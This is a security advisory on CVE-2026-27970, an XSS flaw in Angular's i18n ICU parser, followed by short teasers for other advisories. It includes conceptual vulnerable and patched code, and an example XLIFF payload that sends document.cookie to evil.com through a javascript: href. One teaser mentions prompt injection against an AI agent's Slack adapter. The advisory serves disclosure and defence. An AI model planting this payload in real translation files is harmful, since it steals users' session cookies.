Feb 27, 2026·5 min read·117 visits
The Angular i18n parser failed to sanitize static attributes within ICU messages, assuming they were safe if they lacked dynamic bindings. Attackers can inject XSS payloads (e.g., `javascript:` URIs) via compromised translation files (XLIFF/XTB). Fixed in versions 19.2.19, 20.3.17, and 21.2.0.
A Cross-Site Scripting (XSS) vulnerability exists in the Angular internationalization (i18n) pipeline, specifically within the parsing logic for International Components for Unicode (ICU) messages. The vulnerability stems from an insecure heuristic in the `walkIcuTree` function, which incorrectly treats static attributes in translation files as safe, bypassing Angular's standard sanitization mechanisms. This allows attackers who can influence translation files (e.g., compromised third-party translators or supply chain injection) to inject malicious HTML attributes, resulting in arbitrary JavaScript execution upon rendering.
Angular's internationalization (i18n) system relies on a build-time or runtime process where source messages are extracted from templates, translated into target languages (stored in formats like XLIFF or XTB), and then merged back into the application. A critical component of this system is the handling of ICU (International Components for Unicode) expressions, which allow for complex pluralization and selection logic within text strings.
When Angular processes these translated messages, it parses the ICU structure to generate the corresponding DOM elements. Unlike standard template HTML, which passes through Angular's rigorous compiler sanitization, ICU messages are processed by a specialized parser located in packages/core/src/render3/i18n/i18n_parse.ts. This parser is responsible for interpreting the structure of the message and creating the necessary text nodes and elements dynamically.
The vulnerability resides in the walkIcuTree function, specifically in how it differentiates between 'dynamic' and 'static' content. The Angular security model typically treats all input as untrusted unless explicitly marked otherwise. However, the i18n parser implemented a flawed heuristic: it assumed that if an attribute within an ICU message did not contain a dynamic binding (e.g., {{ value }}), it was inherently safe.
This assumption creates a logic gap. While static attributes do not introduce template injection risks (accessing internal component state), they can still introduce HTML injection risks if they contain malicious attribute values. The parser would identify these static attributes and pass them directly to the addCreateAttribute instruction without validating the attribute name or sanitizing the value. Consequently, an attribute like href="javascript:alert(1)" was treated as a harmless static string and rendered into the DOM, bypassing the framework's trusted types and sanitization layers.
The remediation introduces a strict allowlist approach, replacing the previous 'allow by default' behavior for static attributes. The patch modifies the parsing logic to validate every attribute against a VALID_ATTRS set and explicitly blocks dangerous URI-based attributes.
Below is a reconstruction of the logic changes based on the patch details:
Vulnerable Logic (Conceptual):
function walkIcuTree(node) {
// ... traversal logic
if (node.attributes) {
for (const attr of node.attributes) {
// FLAW: Assumes static attributes are safe
if (!isDynamic(attr.value)) {
instructions.push(addCreateAttribute(attr.name, attr.value));
}
}
}
}Patched Logic (Conceptual):
const BANNED_URI_ATTRS = new Set(['href', 'src', 'xlink:href']);
function walkIcuTree(node) {
// ... traversal logic
if (node.attributes) {
for (const attr of node.attributes) {
// FIX 1: Check if attribute is dangerous URI sink
if (BANNED_URI_ATTRS.has(attr.name)) {
// Forcefully block the value
instructions.push(addCreateAttribute(attr.name, 'unsafe:blocked'));
continue;
}
// FIX 2: Only allow known safe attributes or strip unknowns
if (isValidAttribute(attr.name)) {
instructions.push(addCreateAttribute(attr.name, attr.value));
} else {
console.warn(`Blocked unknown attribute ${attr.name} in ICU message`);
}
}
}
}The fix ensures that even if a translator injects a javascript: payload into a href attribute, the renderer will output href="unsafe:blocked", neutralizing the XSS vector.
Exploitation of CVE-2026-27970 typically involves a supply chain attack against the translation workflow. Many organizations outsource translations or use automated localization platforms. If an attacker compromises a translator's account or the repository hosting .xlf files, they can inject malicious payloads.
Attack Steps:
messages.fr.xlf) to include a malicious anchor tag inside an ICU plural expression.
<trans-unit id="welcomeMessage">
<source>Hello {count, plural, =0 {no one} other {everyone}}</source>
<target>Bonjour {count, plural, =0 {personne} other {<a href="javascript:fetch('https://evil.com/'+document.cookie)">tout le monde</a>}}</target>
</trans-unit>href attribute is static (no {{}}), the vulnerable parser permits it.This vulnerability represents a breakdown in Angular's "secure by default" promise. While Angular is famous for its strict contextual auto-escaping, this flaw allowed a bypass via the i18n subsystem.
Security Consequence:
CVSS Context: While the CVSS score is High (7.6), the complexity is non-trivial because the attacker cannot usually input XLIFF data directly via a web form. They require write access to the source code repository or the translation management system (TMS). However, in environments where users contribute community translations, this becomes a critical remote exploitation vector.
CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:P/VC:H/VI:H/VA:N/SC:N/SI:N/SA:N| Product | Affected Versions | Fixed Version |
|---|---|---|
Angular Google | < 19.2.19 | 19.2.19 |
Angular Google | >= 20.0.0-next.0 < 20.3.17 | 20.3.17 |
Angular Google | >= 21.0.0-next.0 < 21.1.6 | 21.1.6 |
Angular Google | >= 21.2.0-next.0 < 21.2.0 | 21.2.0 |
| Attribute | Detail |
|---|---|
| CWE ID | CWE-79 |
| CVSS v4.0 | 7.6 (High) |
| Attack Vector | Network (Supply Chain) |
| EPSS Score | 0.00073 (Low) |
| Impact | Cross-Site Scripting (XSS) |
| Vendor | Google (Angular Team) |
A vulnerability in the Slack and Mattermost platform adapters for NousResearch hermes-agent permits an unauthenticated remote attacker to execute arbitrary mass mentions. By leveraging prompt injection, an attacker can bypass output sanitization logic and trigger workspace-wide notification exhaustion.
CVE-2026-9306 is a critical unauthenticated Insecure Direct Object Reference (IDOR) vulnerability located in the QuantumNous new-api application, affecting versions up to and including 0.12.1. The flaw is caused by improper middleware ordering combined with a lack of object-level authorization checks. This allows remote, unauthenticated attackers to retrieve sensitive Midjourney images belonging to other users by supplying a valid task identifier.
The instagrapi library prior to version 2.6.9 contains an improper input validation vulnerability within its challenge handling mechanism. Maliciously crafted server responses can manipulate the client into forwarding session cookies and credentials to an external attacker-controlled domain.
GHSA-QQQM-5547-774X is a critical path traversal vulnerability in the FileBrowser Quantum application, specifically within the Go backend package. The vulnerability resides in the HTTP handler responsible for processing bulk file modifications via the public API. Unauthenticated attackers can exploit an order-of-operations flaw in the path sanitization logic to bypass intended directory restrictions. This allows adversaries to arbitrarily read, move, and overwrite files on the underlying filesystem by supplying specially crafted HTTP PATCH requests.
The qs query string parsing and serialization library for Node.js is vulnerable to a synchronous Denial of Service (DoS) attack. The vulnerability manifests as a process-terminating TypeError when processing arrays with null or undefined elements under specific configuration parameters.
The aiosend library prior to version 3.0.6 contains a pre-authentication Denial of Service (DoS) vulnerability in its webhook handling mechanism. The software processes and deserializes incoming JSON payloads before verifying the cryptographic signature, allowing unauthenticated attackers to exhaust server CPU and memory resources by sending large, complex payloads.